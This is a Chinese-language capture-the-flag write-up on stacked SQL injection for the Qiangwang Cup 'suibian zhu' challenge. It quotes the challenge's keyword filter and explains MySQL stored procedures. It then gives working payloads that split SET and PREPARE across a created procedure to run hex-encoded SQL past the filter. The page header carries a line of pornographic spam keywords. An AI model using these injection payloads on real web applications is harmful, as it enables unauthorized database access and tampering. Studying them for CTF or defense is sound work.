日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql freebuf_浅析mysql存储过程

發布時間:2024/8/5 数据库 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql freebuf_浅析mysql存储过程 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

從強網杯隨便注淺析mysql存儲過程

Author: Smity

去年的強網杯,出了一道mysql堆疊注入叫隨便注,這道題被好多比賽玩了一整年,直到現在還是有各種新姿勢,但是今天我忽然想到似乎沒有對這個題目有一個很認真的分析,因此這里總結一下這個題目的出題用意和原本的預期做法:

堆疊注入

Stacked injections:堆疊注入。從名詞的含義就可以看到應該是一堆sql語句(多條)一起執行。而在真實的運用中也是這樣的,我們知道在mysql中,主要是命令行中,每一條語句結尾加 ; 表示語句結束。這樣我們就想到了是不是可以多句一起使用。這個叫做stacked injection。代碼中和一般查詢不同的是,使用了multi_query函數

在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合并在一起,兩者之間有什么區別么?區別就在于union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。

源碼分析

$inject = $_GET['inject'] ?? false;

if ($inject) {

$preg_match = 'return preg_match("/select|update|show|use|updatexml|extractvalue|exp|pow|char|delete|ascii|substr|sleep|if|strcmp|left|mid|concat|drop|insert|where|\./i", $inject);';

if (eval($preg_match)) {

echo "您輸入了敏感字符!";

exit();

}

if(stristr($inject, "set") && stristr($inject, "prepare")){

echo "請不要同時輸入set和prepare";

exit();

}

當時的強網杯似乎在stristr這個函數上漏寫了i導致大家用大小寫繞過,但是沒事這個不是重點(逃)

這里過濾了很多查詢關鍵字,比如select,比如盲注用的函數,基本上是沒有辦法的,但是這里是堆疊注入,就給了我們以執行多條sql語句的機會。

很多同學自然就想到了set+prepare的預處理語句,但是這里規定了不能夠同時輸入set和prepaere,又被堵死了,但是mysql還有一個可以讓語句分開執行且達到等同于一起執行的效果,這里介紹一下正解,mysql的存儲過程。

存儲過程

存儲過程(Stored Procedure)是一種在數據庫中存儲復雜程序,以便外部程序調用的一種數據庫對象。

存儲過程是為了完成特定功能的SQL語句集,經編譯創建并保存在數據庫中,用戶可通過指定存儲過程的名字并給定參數(需要時)來調用執行。

存儲過程思想上很簡單,就是數據庫 SQL 語言層面的代碼封裝與重用。類比面向對象編程的類。說白了,存儲過程就是具有名字的一段代碼,用來完成一個特定的功能。

大家看下面這個很熟悉的例子,這個例子在網絡上是教程范例,給大家熟悉一下。無非就是in和out。

create 存儲過程,然后call調用。

鑒于很多人不太理解這個in和out的區別,我們再簡單提一提。

in——傳入參數(只索取,不給予)

調用者可以給"過程"一個值,但是過程不會把這個值返回給你。

比如:

mysql> delimiter $$

mysql> set @p_in=1;

mysql> create procedure in_param(in p_in int)

-> begin

->   select p_in;

->   set p_in=2;

-> select p_in;

-> end$$

mysql> delimiter ;

mysql> call in_param(@p_in);

+------+

| p_in |

+------+

| 1 |

+------+

1 row in set (0.00 sec)

#因為這里先set了p_in=1,所以存儲過程里select p_in的值為1

+------+

| p_in |

+------+

| 2 |

+------+

1 row in set (0.00 sec)

#然后set p_in=2,所以存儲過程里第二個select p_in的值為2

Query OK, 0 rows affected (0.00 sec)

mysql> select @ p_in;

+------+

| p_in |

+------+

| NULL |

+------+

1 row in set (0.00 sec)

#存儲過程執行完,他不會把這個值調用者,調用者在過程外是不能夠使用這個變化后的值的

in參數就是只能輸入,不能夠輸出,執行完過程,in參數是不會改變的。

out——傳出參數(不索取,只給予)

mysql> delimiter //

mysql> create procedure out_param(out p_out int)

-> begin

-> select p_out;

-> set p_out=2;

-> select p_out;

-> end

-> //

mysql> delimiter ;

mysql> set @p_out=1;

Query OK, 0 rows affected (0.00 sec)

mysql> call out_param(@p_out);

+-------+

| p_out |

+-------+

| NULL |

+-------+

1 row in set (0.00 sec)

+-------+

| p_out |

+-------+

| 2 |

+-------+

1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

out這個參數剛好就是反過來,調用者無論怎么給參數賦初始值,"過程"里都是當作空值開始處理,然后將處理好的值返回給調用者。

分離預處理語句

好了說了這么多,我們還是要結合題目來看看,題目這里明顯是要用預處理set 和 prepare來做,但是不能夠同時輸入。經過上面的講解,我們可以想到,雖然set和prepare不能夠同時輸入,但是我只要把set給封裝到一個"過程"中去,是不是就可以利用存儲過程來代替set呢?

再理一遍大家很熟悉的set preare的注入poc怎么寫:

114514';set @string = hex;prepare stmt from @string;EXECUTE stmt;#

這個地方的string就是我們要執行的sql語句的16進制表示,stmt則是預處理語句的別名。

然后我們把他分為兩個部分:

set @string = hex;

prepare stmt from @string;EXECUTE stmt;

首先我們需要創建一個將set包含進去的存儲過程,然后分析輸入和輸出參數: 1. in參數是sql注入語句的16進制,因為需要繞過敏感字符過濾,并且我們需要輸入這個hex給過程拿去利用; 2. out參數則是我們的set里的@string——預處理語句,在"過程"中賦值好以后,拿出來給我們的prepare使用。

因此我們的poc可以這么寫:下面的uuid代表php代碼生成的隨機數。 第一次輸入存儲過程的定義:

114514';

create procedure `{$uuid}`(out string text(1024), in hex text(1024))

BEGIN

SET string = hex;

END;

;--

第二次用call調用這個存儲過程(@decoded其實就是傳參,傳到上一個poc的string位置,為了和string區分開,就用了另一個名詞):

114514';

call `{$uuid}`(@decoded, 0x{$sql});

prepare payload from @decoded;

execute payload;

;--

之后就會正常的執行set+prepare的注入了。

總結

其實大家如果實在不清楚這個in和out,可以使用inout來代替,inout參數是既可以輸入,又可以輸出。

說白了存儲過程就是sql語句里的函數,可以封裝代碼,所以比賽中如果遇到了不能一起使用的關鍵字,可以嘗試著使用存儲過程將其分割開。

聲明:筆者初衷用于分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關!

總結

以上是生活随笔為你收集整理的mysql freebuf_浅析mysql存储过程的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。